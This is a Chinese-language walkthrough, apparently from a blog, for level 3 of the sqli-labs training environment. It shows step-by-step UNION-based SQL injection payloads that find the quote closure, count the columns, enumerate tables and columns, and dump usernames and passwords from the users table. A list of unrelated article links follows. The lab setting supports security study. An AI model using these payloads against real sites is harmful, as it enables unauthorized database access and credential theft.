sqli-labs---第三关

简介: sqli-labs---第三关

1、判断什么类型注入


?id=1 正常显示


?id=1' (报错:''1'') LIMIT 0,1')


?id=1'' 正常显示


?id=1'#(报错:''1'') LIMIT 0,1')


可知闭合方式为')


2、查看列数


?id=1') order by 3 --+ (没有报错)


?id=1') order by 4 --+ (报错)


说明有3列

3、使用联合查询查看回显位置(前面为错可以执行后面的)

?id=-1') union select 1,2,3 --+

回显在2,3,列

4、查询数据库名(security)

?id=-1') union select 1,database(),3 --+

5、查询表名(一共爆出四张表,查看敏感表users)


?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database();--+

6、查询users表中字段名(查看到了敏感字段id,username,password)

?id=-1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users';--+

7、查看字段username和password的信息

 ?id=-1') union select 1,database(),group_concat(username,password) from security.users;--+

为了方便分清楚username和密码,可以用id将信息隔开

  ?id=-1') union select 1,database(),group_concat(username,id,password) from security.users;--+

相关文章
|
6月前
|
存储 人工智能 自然语言处理
构建智能AI记忆系统:多智能体系统记忆机制的设计与技术实现
本文探讨了多智能体系统中记忆机制的设计与实现,提出构建精细化记忆体系以模拟人类认知过程。文章分析了上下文窗口限制的技术挑战,并介绍了四种记忆类型:即时工作记忆、情节记忆、程序性记忆和语义知识系统。通过基于文件的工作上下文记忆、模型上下文协议的数据库集成以及RAG系统等技术方案,满足不同记忆需求。此外,高级技术如动态示例选择、记忆蒸馏和冲突解决机制进一步提升系统智能化水平。总结指出,这些技术推动智能体向更接近人类认知的复杂记忆处理机制发展,为人工智能开辟新路径。
573 5
构建智能AI记忆系统:多智能体系统记忆机制的设计与技术实现
|
人工智能 自然语言处理 算法
揭秘AI写作助手:技术原理与应用实践
在数字化浪潮的推动下,人工智能(AI)正逐步渗透到我们工作和生活的方方面面。本文将深入探讨AI写作助手的技术原理及其在不同场景的应用实例,旨在揭示这项技术如何助力内容创作、提升效率和质量。通过分析其背后的算法、数据处理方式以及实际运用效果,读者可以获得对AI写作工具更全面的认识,并了解如何利用这些工具优化自身的写作流程。
|
Kubernetes Java 调度
在K8S中,Pod突然挂掉,K8S有什么机制或功能自动清除Pod?
在K8S中,Pod突然挂掉,K8S有什么机制或功能自动清除Pod?
|
存储 消息中间件 Kafka
Flink 实时数仓(一)【实时数仓&离线数仓对比】(1)
Flink 实时数仓(一)【实时数仓&离线数仓对比】
|
Shell PHP
BUUCTF---[MRCTF2020]你传你呢1
BUUCTF---[MRCTF2020]你传你呢1
|
存储 API 开发工具
oss创建bucket
oss创建bucket
2360 1
文件上传地址的获取方法
文件上传地址的获取方法
188 1
|
消息中间件 存储 负载均衡
【Kafka】Kafka 的分区分配策略分析
【4月更文挑战第7天】【Kafka】Kafka 的分区分配策略分析
|
安全 网络协议 Shell
永恒之蓝(MS17-010)漏洞利用
永恒之蓝(MS17-010)漏洞利用
1006 1
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
291 0